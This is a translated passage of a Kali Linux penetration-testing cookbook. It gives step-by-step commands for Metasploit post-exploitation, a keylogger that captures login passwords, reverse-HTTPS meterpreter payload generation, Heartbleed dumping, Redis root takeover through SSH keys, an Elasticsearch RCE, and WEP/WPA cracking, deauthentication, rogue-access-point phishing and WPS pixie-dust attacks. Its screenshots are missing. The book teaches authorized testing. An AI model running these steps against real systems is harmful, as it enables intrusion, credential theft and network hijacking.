Kali Linux:道德黑客秘籍(二)

原文:annas-archive.org/md5/7F6D5A44FB1E50E1F70AA8207514D628

译者:飞龙

协议:CC BY-NC-SA 4.0

第五章:当前利用的网络利用

在本章中,我们将涵盖以下教程:

  • 仓鼠和雪貂的中间人

  • 探索 msfconsole

  • 使用偏执的 meterpreter

  • 一个流血的故事

  • Redis 利用

  • 对 SQL 说不-拥有 MongoDB

  • 嵌入式设备黑客

  • Elasticsearch 利用

  • 老牌的 Wireshark

  • 这就是斯巴达!

介绍

利用网络通常是一个很有用的技术。很多时候,我们可能会发现企业中最脆弱的地方就在网络本身。在这个教程中,您将了解一些我们可以对网络进行渗透测试并成功利用我们发现的服务的方法。

仓鼠和雪貂的中间人

仓鼠是一个用于侧面劫持的工具。它充当代理服务器,而雪貂用于在网络中嗅探 cookie。在这个教程中,我们将看看如何劫持一些会话!

做好准备

Kali 已经预装了这个工具,让我们看看如何运行它!

如何做…

仓鼠非常容易使用,也带有用户界面。按照给定的步骤学习仓鼠的使用:

  1. 我们开始输入以下命令:
 hamster

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们只需要启动浏览器,然后导航到http://localhost:1234

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 接下来,我们需要点击“适配器”,并选择我们想要监视的接口:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们将等待一会儿,然后在左侧选项卡中看到会话:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如果几分钟后您没有看到会话,可能是因为仓鼠和雪貂不在同一个文件夹中。仓鼠在后台运行并执行雪貂。

一些用户可能会遇到问题,因为雪貂不支持 64 位架构。我们需要添加一个 32 位存储库,然后安装雪貂。可以使用以下命令完成:dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386

探索 msfconsole

在前几章中,我们已经介绍了 Metasploit 的一些基础知识。在这个教程中,您将学习一些使用 meterpreter 和 Metasploit 进行更有效利用的技术。

如何做…

要了解 Metasploit,请按照以下步骤操作:

  1. 让我们启动 Metasploit 控制台,输入msfconsole

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要查看可用的利用列表,我们使用以下命令:
 show exploits

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 同样地,为了查看有效载荷列表,我们使用以下命令:
 show payloads

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. Metasploit 还配备了数百个辅助模块,其中包含扫描器、模糊器、嗅探器等。要查看辅助模块,我们使用以下命令:
 show auxiliary

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 让我们使用以下命令进行 FTP 模糊测试:
 use auxiliary/fuzzers/ftp/ftp_client_ftp
  1. 我们将使用以下命令查看选项:
 show options
  1. 我们使用以下命令设置 RHOSTS:
 set RHOSTS  x.x.x.x
  1. 现在我们运行辅助程序,以便在发生崩溃时通知我们:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Metasploit 中的 Railgun

在这个教程中,我们将更多地了解 Railgun。Railgun 是一个仅限于 Windows 利用的 meterpreter 功能。它允许直接与 Windows API 通信。

如何做…

Railgun 允许我们执行 Metasploit 无法执行的许多任务,例如按键等。使用它,我们可以使用 Windows API 调用执行我们需要的所有操作,以获得更好的后期利用:

  1. 我们已经在前面的章节中看到了如何获取 meterpreter 会话。我们可以通过输入irb命令从 meterpreter 跳转到 Railgun:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要访问 Railgun,我们使用session.railgun命令:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们看到打印了很多数据。这些基本上是可用的 DLL 和函数。

  1. 为了更好地查看 DLL 名称,我们输入以下命令:
 session.railgun.known_dll_names

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要查看.dll的函数,我们使用以下命令:
 session.railgun.<dllname>.functions

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 让我们尝试调用一个 API,它将锁定受害者的屏幕。我们可以通过输入以下命令来实现:
 client.railgun.user32.LockWorkStation()

我们可以看到我们被锁定了:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 让我们想象一个情况,我们想要获取用户的登录密码。我们有哈希,但我们无法破解它。使用 Railgun,我们可以调用 Windows API 来锁定屏幕,然后在后台运行键盘记录器,这样当用户登录时,我们就会得到密码。Metasploit 已经有一个使用 Railgun 来执行此操作的后渗透模块;让我们试试吧!

我们退出我们的irb,将我们的 meterpreter 会话放在后台,然后我们使用模块:

 use post/windows/capture/lockout,keylogger

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们使用set session命令添加我们的会话。

  2. 然后,在这里设置winlogon.exe的 PID:

 set PID <winlogon pid>
  1. 接下来,我们运行,我们可以看到用户输入的密码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有更多…

这只是一个我们看到的函数调用的示例。我们可以使用 Railgun 执行许多其他操作,比如删除管理员用户,插入注册表,创建我们自己的 DLL 等等。

有关更多信息,请访问:

www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf

使用偏执的 meterpreter

在 2015 年的某个时候,黑客意识到可以通过简单地玩弄受害者的 DNS 并启动自己的处理程序来窃取/劫持某人的 meterpreter 会话。然后,这导致了 meterpreter 偏执模式的开发和发布。他们引入了一个 API,验证了两端由 msf 呈现的证书的 SHA1 哈希。在本教程中,我们将看到如何使用偏执模式。

如何做到…

我们需要一个 SSL 证书来开始:

  1. 我们可以使用以下命令生成我们自己的:
 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
        -keyout meterpreter.key -out meterpreter.crt

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们填写信息,如国家代码和其他信息:

 cat meterpreter.key meterpreter.crt > meterpreter.pem
  1. 前面的命令基本上打开了两个文件,然后将它们写入一个文件。然后我们使用我们生成的证书来生成一个载荷:
 msfvenom -p windows/meterpreter/reverse_winhttps LHOST=IP
        LPORT=443 HandlerSSLCert=meterpreter.pem
        StagerVerifySSLCert=true
        -f exe -o payload.exe

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要设置选项,我们使用以下命令:
 set HandlerSSLCert /path/to/pem_file
 set StagerVerifySSLCert true

以下截图显示了前面命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们运行我们的处理程序,我们可以看到分段程序验证了与处理程序的连接,然后建立了连接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有更多…

我们可以通过在使用-PayloadUUIDName=开关生成载荷时提及我们自己的 UUID,将其提升到更高级别。使用这个,即使另一个攻击者可以访问我们的证书,他们也无法劫持我们的会话,因为 UUID 不匹配。

一个流血的故事

HeartBleed 是 OpenSSL 密码学中的一个漏洞,据说是在 2012 年引入的,并在 2014 年公开披露。这是一个缓冲区超读漏洞,允许读取的数据比允许的数据更多。

在这个教程中,您将学习如何利用 Metasploit 的辅助模块来利用 HeartBleed。

如何做…

要了解 HeartBleed,请按照以下步骤进行:

  1. 我们通过输入此命令启动msfconsole
 msfconsole

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后,我们使用以下命令搜索 HeartBleed 辅助工具:
 search heartbleed

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 接下来,我们使用以下命令使用辅助工具:
 use auxiliary/scanner/ssl/openssl_heartbleed
  1. 然后我们使用以下命令查看选项:
 show options

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们使用以下命令将 RHOSTS 设置为我们的目标 IP:
 set RHOSTS x.x.x.x
  1. 然后,我们使用此命令将详细程度设置为true
 set verbose true
  1. 然后我们输入run,现在我们应该看到数据。这些数据通常包含敏感信息,如密码、电子邮件 ID 等:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Redis 利用

有时在渗透测试时,我们可能会遇到无意间留下的公共 Redis 安装。在未经身份验证的 Redis 安装中,最简单的事情就是写入随机文件。在这个教程中,我们将看到如何获取运行时没有身份验证的 Redis 安装的根访问权限。

如何做…

要了解 Redis 的利用,请按照以下步骤进行:

  1. 我们首先 telnet 到服务器,检查是否可能建立成功的连接:
 telnet x.x.x.x 6379

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后我们终止 telnet 会话。接下来,我们使用以下命令生成我们的 SSH 密钥:
 ssh-keygen -t rsa -C youremail@example.com
  1. 然后,我们输入要保存的文件:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们的密钥已生成;现在我们需要将它写入服务器:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们需要安装redis-cli;我们可以使用以下命令:
 sudo apt-get install redis-tools
  1. 安装完成后,我们回到我们生成的密钥,并在我们的密钥之前和之后添加一些随机数据:
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

key.txt文件是我们的新密钥文件,带有新行:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们需要用我们自己的密钥替换数据库中的密钥。所以我们使用这个命令连接到主机:
 redis-cli -h x.x.x.x
  1. 接下来,我们使用以下命令刷新密钥:
        redis-cli -h x.x.x.x -p 6350 flushall

以下屏幕截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们需要将我们的密钥设置到数据库中。我们使用以下命令来做到这一点:
 cat redis.txt | redis-cli –h x.x.x.x –p 6451 -x set bb 
  1. 完成后,我们需要将上传的密钥复制到.ssh文件夹中;首先,我们使用此命令检查当前文件夹:
 config get dir
  1. 现在我们将目录更改为/root/.ssh/
 config set dir /root/.ssh/
  1. 接下来,我们使用set dbfilename "authorized_keys"更改文件名,并使用 save 保存:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在让我们尝试 SSH 进入服务器。我们看到我们是 root:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

对 SQL 说不-拥有 MongoDB

MongoDB 是一个免费的开源跨平台数据库程序。它使用类似 JSON 的带模式的文档。MongoDB 的默认安全配置允许任何人在未经身份验证的情况下访问数据。在这个教程中,我们将看到如何利用这个漏洞。

准备工作

MongoDB 默认在端口27017上运行。要访问 MongoDB,我们需要下载并安装 MongoDB 客户端。有多个客户端可用;我们将使用 Studio-3T,可以从studio3t.com/.下载。

如何做…

按照以下步骤学习:

  1. 安装完成后,我们打开应用程序并选择连接。

  2. 在打开的窗口中,我们点击新连接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后,我们选择一个名称,在服务器字段中输入 IP 地址,然后单击保存:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 接下来,我们只需从列表中选择我们刚刚添加的数据库,然后单击连接。成功连接后,数据库名称将显示在左侧,数据将显示在右侧。

嵌入式设备黑客

智能平台管理接口IPMI)是一种技术,可以让管理员几乎完全控制远程部署的服务器。

在渗透测试时,IPMI 可能在大多数公司中找到。在这个示例中,我们将看到如何发现 IPMI 设备中的漏洞。

如何做…

要了解 IPMI,请按照给定的步骤进行:

  1. 我们启动 Metasploit:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们使用以下命令搜索与 IPMI 相关的利用:
 search ipmi

以下截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们将使用IPMI 2.0 RAKP 远程 SHA1 密码哈希检索漏洞;我们选择辅助工具。还有多个利用,例如 CIPHER Zero,也可以尝试:
 use auxiliary/scanner/ipmi/ipmi_dumphashes
  1. 接下来,为了查看选项,我们输入以下内容:
 show options

以下截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在这里,我们看到辅助工具自动尝试破解检索到的哈希。

我们设置 RHOSTS 并运行。成功利用后,我们将看到检索和破解的哈希:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Elasticsearch 利用

有时在进行渗透测试时,我们可能还会遇到一些在各种端口号上运行的服务。我们将在这个示例中介绍这样的服务。Elasticsearch 是一个基于 Java 的开源搜索企业引擎。它可以用于实时搜索任何类型的文档。

2015 年,Elasticsearch 出现了一个 RCE 利用漏洞,允许黑客绕过沙箱并执行远程命令。让我们看看如何做到这一点。

如何做…

以下步骤演示了 Elasticsearch 的利用:

  1. Elasticsearch 的默认端口是9200。我们启动 Metasploit 控制台:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们使用以下命令搜索 Elasticsearch 利用漏洞:
 search elasticsearch

以下截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们在这种情况下选择利用:
 use exploit/multi/elasticsearch/search_groovy_script

以下截图显示了上述命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们使用set RHOST x.x.x.x命令设置 RHOST:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们运行以下命令:
 run
  1. 我们的 meterpreter 会话已准备就绪。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

另请参阅

  • 探索 msfconsole示例

老牌的 Wireshark

Wireshark 是世界上最常用的网络协议分析器。它是免费和开源的。它主要用于网络故障排除和分析。在这个示例中,您将学习一些关于 Wireshark 的基本知识,以及我们如何使用它来分析网络流量,以找出实际通过我们的网络流动的信息。

准备好

Kali 已经预先安装了该工具,让我们看看如何运行它!

如何做…

以下步骤演示了 Wireshark 的使用:

  1. 可以使用Wireshark命令打开 Wireshark:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们选择要捕获流量的接口:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后,我们单击开始。显示过滤器用于在捕获网络流量时查看一般的数据包过滤。例如:tcp.port eq 80 如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 应用过滤器将仅显示端口80上的流量。如果我们只想查看来自特定 IP 的请求,我们选择该请求,然后右键单击它。

  2. 然后,我们导航到“应用为过滤器|已选择”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后我们看到过滤器已经应用:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 有时,我们可能想要查看两个主机之间在 TCP 级别发生的通信。跟踪 TCP 流是一个功能,它允许我们查看从 A 到 B 和从 B 到 A 的所有流量。让我们尝试使用它。从菜单中,我们选择 Statistics,然后点击 Conversations:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在打开的窗口中,我们切换到 TCP 选项卡。在这里,我们可以看到 IP 列表以及它们之间传输的数据包。要查看 TCP 流,我们选择其中一个 IP,然后点击 Follow Stream:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在这里,我们可以看到通过 TCP 传输的数据:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 捕获过滤器用于捕获特定于所应用过滤器的流量;例如,如果我们只想捕获来自特定主机的数据,我们使用主机x.x.x.x

  2. 要应用捕获过滤器,我们点击 Capture Options,在打开的新窗口中,我们将看到一个名为 Capture Options 的字段。在这里,我们可以输入我们的过滤器:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 假设我们正在调查网络中对 HeartBleed 的利用。我们可以使用以下捕获过滤器来确定是否已利用 HeartBleed:
 tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18)
        and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and
        (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and
        ((ip[2:2] - 4 * (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69))

还有更多…

以下是一些有用的链接,它们包含了 Wireshark 中所有过滤器的列表。在进行深入的数据包分析时,这些过滤器可能会派上用场:

这就是斯巴达!

Sparta 是一个基于 GUI 的 Python 工具,对基础设施进行渗透测试非常有用。它有助于扫描和枚举。我们甚至可以在这里导入 nmap 输出。Sparta 非常易于使用,自动化了许多信息收集工作,并使整个过程更加简单。在这个教程中,您将学习如何使用该工具对网络进行各种扫描。

准备就绪

Kali 已经预先安装了该工具,所以让我们看看如何运行它!

如何做…

要了解有关 Sparta 的更多信息,请按照给定的步骤操作:

  1. 我们首先输入Sparta命令:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将看到工具打开。

  1. 现在我们点击菜单窗格的左侧以添加主机:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在窗口中,我们输入要扫描的 IP 范围。

  2. 一旦我们点击 Add to scope,它会自动开始运行 nmap、nikto 等基本过程:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们可以在左侧窗格上看到发现的主机:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在右侧的 Services 选项卡中,我们将看到开放的端口以及它们正在运行的服务:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 切换到 Nikto 选项卡,我们将看到为我们选择的主机显示的 Nikto 输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们还可以看到在主机上运行端口80的页面的屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 对于诸如 FTP 之类的服务,它会自动运行诸如 Hydra 之类的工具来暴力破解登录:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在左侧窗格上,切换到 Tools 选项卡,我们可以看到每个主机的输出。

  2. 我们还可以通过切换到 Brute 选项卡来执行自定义暴力破解攻击:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要运行完整的端口扫描或独角兽扫描,我们可以右键单击主机。转到 Portscan 菜单,然后选择我们要在主机上运行的扫描类型:

抱歉,我无法识别图片中的文本。

第六章:无线攻击-超越 Aircrack-ng

在本章中,我们将涵盖以下内容:

  • 老牌 Aircrack

  • 与 Gerix 一起

  • 处理 WPAs

  • 使用 Ghost Phisher 拥有员工帐户

  • Pixie dust 攻击

介绍

如官方网站上所述:

“Aircrack-ng 是一个完整的工具套件,用于评估 Wi-Fi 网络安全性。

它专注于 Wi-Fi 安全的不同领域:

  • 监控:数据包捕获和将数据导出到文本文件,以便第三方工具进一步处理

  • 攻击:重放攻击,去认证,伪造接入点和其他通过数据包注入

  • 测试:检查 Wi-Fi 卡和驱动程序功能(捕获和注入)

  • 破解:WEP 和 WPA PSK(WPA 1 和 2)

老牌 Aircrack

Aircrack 是一个用于网络的软件套件,包括网络探测器,数据包嗅探器和 WEP/WPA2 破解器。它是开源的,专为 802.11 无线局域网设计(有关更多信息,请访问en.wikipedia.org/wiki/IEEE_802.11)。它包括各种工具,如aircrack-ngairmon-ngairdecapaireplay-ngpacketforge-ng等。

在这个示例中,我们将涵盖使用 Aircrack 套件破解无线网络的一些基础知识。您将学习使用airmon-ngaircrack-ngairodump-ng等工具来破解我们周围无线网络的密码。

准备就绪

我们需要有一个支持数据包注入的 Wi-Fi 硬件。 Alfa Networks 的 Alfa 卡,TP-Link TL-WN821N 和 EDIMAX EW-7811UTC AC600 是我们可以使用的一些卡。在这个例子中,我们使用 Alfa 卡。

如何做…

以下步骤演示了 Aircrack:

  1. 我们输入airmon-ng命令,以检查我们的卡是否被 Kali 检测到:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 接下来,我们需要使用以下命令将我们的适配器设置为监视模式:
 airmon-ng start wlan0mon 

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在,为了查看附近运行的路由器,我们使用以下命令:
 airodump-ng wlan0mon

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在这里,我们注意到我们想要破解的网络的BSSID;在我们的例子中,它是B8:C1:A2:07:BC:F1,频道号是9。我们通过按Ctrl + C停止该过程,并保持窗口打开。

  2. 现在我们使用airodump-ng捕获数据包,并使用-w开关将这些数据包写入文件:

 airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlan0mon

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们需要观察信标和数据列;这些数字从0开始,并随着数据包在路由器和其他设备之间传递而增加。我们至少需要 20,000 个初始化向量才能成功破解有线等效隐私WEP)密码:

  2. 为了加快进程,我们打开另一个终端窗口并运行aireplay-ng,并使用以下命令执行伪身份验证:

 aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlan0mon 
       {fake authentication}

以下屏幕截图显示了前面命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在让我们使用以下命令进行 ARP 数据包重放:
 aireplay-ng -3 -b BSSID wlan0mon

以下屏幕截图显示了前面命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 一旦我们有足够的数据包,我们就开始aircrack-ng,并提供我们保存数据包的文件名:
 aircrack-ng filename.cap

以下屏幕截图显示了前面命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 一旦破解,我们应该在屏幕上看到密码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

它是如何工作的…

这种攻击的思想是尽可能多地捕获数据包。每个数据包包含一个初始化向量IV),其大小为 3 个字节,并与之关联。我们只需捕获尽可能多的 IV,然后在其上使用 Aircrack 来获取我们的密码。

与 Gerix 一起

在上一个教程中,您学会了如何使用 Aircrack 套件来破解 WEP。在这个教程中,我们将使用基于 GUI 的工具 Gerix,它使 Aircrack 套件易于使用,并使我们的无线网络审计更加容易。Gerix 是由 J4r3tt 开发的基于 Python 的工具。

准备就绪

让我们使用以下命令安装 Gerix:

git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.git

如何操作…

以下步骤演示了 Gerix 的使用:

  1. 下载完成后,我们进入下载的目录并运行以下命令:
 cd gerix-wifi-cracker-2
  1. 我们使用以下命令运行工具:
 python gerix.py

上述命令可以在以下截图中看到:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 窗口打开后,我们点击“配置”选项卡中的“启用/禁用监视模式”,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后,我们点击“重新扫描网络”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 这将显示可用的接入点列表和它们使用的认证类型。我们选择一个带有 WPA 的接入点,然后切换到 WPA 选项卡。

  2. 在这里,我们点击“常规功能”,然后点击“开始捕获”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 由于 WPA 攻击需要捕获握手,我们需要一个站点已连接到接入点。因此,我们点击“自动加载受害者客户端”或输入自定义受害者 MAC:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 接下来,我们选择去认证号。我们在这里选择0以执行去认证攻击,然后点击“客户端去认证”按钮:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们应该看到一个弹出窗口,它会为我们执行去认证:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在 airodump 窗口中,我们应该看到已捕获到握手。

  1. 现在我们准备破解 WPA,我们切换到 WEP 破解选项卡,在 WPA 暴力破解中,我们给出一个字典的路径,然后点击“Aircrack-ng - 破解 WPA 密码”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们应该看到 Aircrack 窗口,当密码被破解时它会显示给我们:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 同样,这个工具也可以用来破解 WEP/WPA2 网络。

处理 WPA

Wifite 是一个仅适用于 Linux 的工具,旨在自动化无线审计过程。它需要安装 Aircrack 套件、Reaver、Pyrit 等才能正常运行。它已预装在 Kali 中。在这个教程中,您将学习如何使用 wifite 来破解一些 WPA。

如何操作…

要了解 Wifite,请按照以下步骤操作:

  1. 我们可以通过输入以下命令来启动 Wifite:
 wifite

上述命令显示了所有可用网络的列表,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后我们按下Ctrl + C来停止;然后它会要求您选择要尝试破解的网络:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们输入我们的数字并按Enter。工具会自动尝试使用不同的方法来破解网络,最终,如果成功破解,它会显示密码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将看到以下密码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用 Ghost Phisher 拥有员工账户

Ghost Phisher 是一个无线网络审计和攻击软件,它创建一个网络的虚假接入点,欺骗受害者连接到它。然后为受害者分配一个 IP 地址。该工具可用于执行各种攻击,如凭据钓鱼和会话劫持。它还可以用于向受害者传递 meterpreter 有效载荷。在这个教程中,您将学习如何使用该工具执行各种网络钓鱼攻击或窃取 cookies 等。

如何操作…

可以在下面看到 Ghost Phisher 的使用:

  1. 我们使用ghost-phisher命令启动它:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在这里,我们选择我们的接口并点击“设置监视器”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们输入我们想要创建的接入点的详细信息:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后,我们点击“开始”以创建一个新的无线网络并使用该名称。

  2. 然后,我们切换到虚假 DNS 服务器。在这里,我们需要提到受害者打开任何网页时将被引导到的 IP 地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 然后我们启动 DNS 服务器。

  2. 然后,我们切换到虚假 DHCP 服务器。在这里,我们需要确保当受害者尝试连接时,他/她会被分配一个 IP 地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 完成后,我们点击“开始”以启动 DHCP 服务。

  2. 如果我们想要钓鱼并捕获凭据,我们可以通过在虚假 HTTP 服务器选项卡中设置选项来将他们引导到我们的钓鱼页面。在这里,我们可以上传我们想要显示的 HTML 页面或提供我们想要克隆的 URL。我们启动服务器:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在下一个选项卡中,我们看到 Ghost Trap;这个功能允许我们执行 Metasploit 有效载荷攻击,它将要求受害者下载我们准备好的 meterpreter 有效载荷,一旦执行,我们将获得一个 meterpreter 连接。

  2. 在会话劫持选项卡中,我们可以监听和捕获可能通过网络的会话。我们在这里需要做的就是输入网关或路由器的 IP 地址,然后点击“开始”,它将检测并显示任何捕获的 cookie/会话:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们在 HTTP 服务器中捕获的凭据可以在收获的凭据选项卡中看到。

Pixie dust 攻击

Wi-Fi Protected SetupWPS)于 2006 年推出,供希望连接到家庭网络而不必记住 Wi-Fi 的复杂密码的家庭用户使用。它使用八位数的 PIN 来验证客户端到网络的身份。

Pixie dust 攻击是一种暴力破解八位数 PIN 的方法。如果路由器易受攻击,这种攻击可以在几分钟内恢复 PIN。另一方面,简单的暴力破解需要几个小时。在这个教程中,您将学习如何执行 pixie dust 攻击。

可以在docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923找到攻击将起作用的易受攻击的路由器列表。

准备工作

我们需要启用 WPS 的网络。否则,它将无法工作。

如何做…

要了解 pixie dust,请按照以下步骤:

  1. 我们使用以下命令在监视器模式下启动我们的接口:
 airmon-ng start wlan0
  1. 然后,我们需要找到启用 WPS 的网络;我们可以使用以下命令来做到这一点:
 wash -i <monitor mode interface> -C

以下截图显示了上述命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们使用以下命令运行reaver
 reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]

以下截图显示了上述命令的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 完成后,我们应该看到 PIN。

还有更多…

以下是一些可以在攻击无线网络时参考的优秀文章:

第七章:密码攻击-它们的星星中的错误

在本章中,我们将涵盖以下教程:

  • 识别野外中的不同类型的哈希!

  • 使用哈希标识符

  • 使用 patator 破解

  • 在线破解哈希

  • 与约翰·里波特一起玩

  • 约翰尼·布拉沃!

  • 使用 cewl

  • 使用 crunch 生成单词列表

介绍

弱密码是一个众所周知的情况,大多数公司都会受到影响。很多人使用可以被暴力破解的弱密码,可以获得明文。在本章中,我们将讨论在 webapp/network 上进行渗透测试活动期间获得的密码哈希的不同破解方法。

识别野外中的不同类型的哈希!

